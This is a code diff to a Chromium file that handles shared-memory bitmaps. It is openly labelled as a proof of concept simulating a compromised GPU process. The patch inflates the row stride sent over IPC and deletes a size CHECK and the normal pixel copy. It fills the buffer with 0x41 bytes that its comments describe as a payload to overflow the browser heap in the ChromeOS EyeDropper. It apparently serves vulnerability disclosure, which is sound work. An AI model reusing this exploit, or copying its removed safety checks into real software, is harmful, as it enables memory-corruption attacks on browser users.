diff --git a/services/viz/public/cpp/compositing/bitmap_in_shared_memory_mojom_traits.cc b/services/viz/public/cpp/compositing/bitmap_in_shared_memory_mojom_traits.cc index 9d6bdd42622df..b1bb833f6c5da 100644 --- a/services/viz/public/cpp/compositing/bitmap_in_shared_memory_mojom_traits.cc +++ b/services/viz/public/cpp/compositing/bitmap_in_shared_memory_mojom_traits.cc @@ -8,6 +8,7 @@ #include #include "base/compiler_specific.h" +#include "base/logging.h" namespace { @@ -15,6 +16,13 @@ void DeleteSharedMemoryMapping(void* not_used, void* context) { delete static_cast(context); } +// === POC: simulate a compromised GPU process === +// Inflate row_bytes by this many bytes beyond minRowBytes(). The browser-side +// deserializer accepts any row_bytes >= minRowBytes() (no upper bound), so the +// resulting SkBitmap carries this inflated stride all the way into +// EyeDropperView::ScreenCapturer::OnCaptureResult on ChromeOS. +constexpr size_t kPocRowBytesPad = 0x1000; + } // namespace namespace mojo { @@ -32,7 +40,11 @@ uint64_t StructTraits:: row_bytes(const viz::CopyOutputResult::ScopedSkBitmap& scoped_bitmap) { auto sk_bitmap = scoped_bitmap.bitmap(); - return sk_bitmap.info().minRowBytes(); + // === POC: emit attacker-controlled row_bytes on the wire. === + size_t min_rb = sk_bitmap.info().minRowBytes(); + LOG(ERROR) << "[POC GPU] BitmapInSharedMemory: emitting row_bytes=" + << (min_rb + kPocRowBytesPad) << " (min=" << min_rb << ")"; + return min_rb + kPocRowBytesPad; } // static @@ -45,17 +57,19 @@ StructTraits= computeByteSize() + // check passes, and (b) the EyeDropper memcpy can read H*S source bytes + // without faulting. Fill with a recognisable pattern (0x41). + size_t min_row_bytes = sk_bitmap.info().minRowBytes() + kPocRowBytesPad; + size_t byte_size = + static_cast(sk_bitmap.info().height()) * min_row_bytes; if (min_row_bytes == 0 || byte_size == 0) { return std::nullopt; } - CHECK_GE(byte_size, sk_bitmap.height() * min_row_bytes); + LOG(ERROR) << "[POC GPU] BitmapInSharedMemory: shmem size=" << byte_size; base::WritableSharedMemoryRegion region = base::WritableSharedMemoryRegion::Create(byte_size); @@ -65,21 +79,8 @@ StructTraits(sk_bitmap.getPixels()); - size_t src_stride = sk_bitmap.rowBytes(); - auto* dst_pixels = static_cast(mapping.memory()); - - // If source and destination stride are the same use a single copy - // operation, otherwise do a row-by-row copy. - if (src_stride == min_row_bytes) { - UNSAFE_TODO(memcpy(dst_pixels, src_pixels, byte_size)); - } else { - for (int y = 0; y < sk_bitmap.height(); ++y) { - UNSAFE_TODO(memcpy(dst_pixels, src_pixels, min_row_bytes)); - UNSAFE_TODO(src_pixels += src_stride); - UNSAFE_TODO(dst_pixels += min_row_bytes); - } - } + // Attacker-controlled payload bytes that will overflow the browser heap. + UNSAFE_TODO(memset(mapping.memory(), 0x41, byte_size)); } return region; }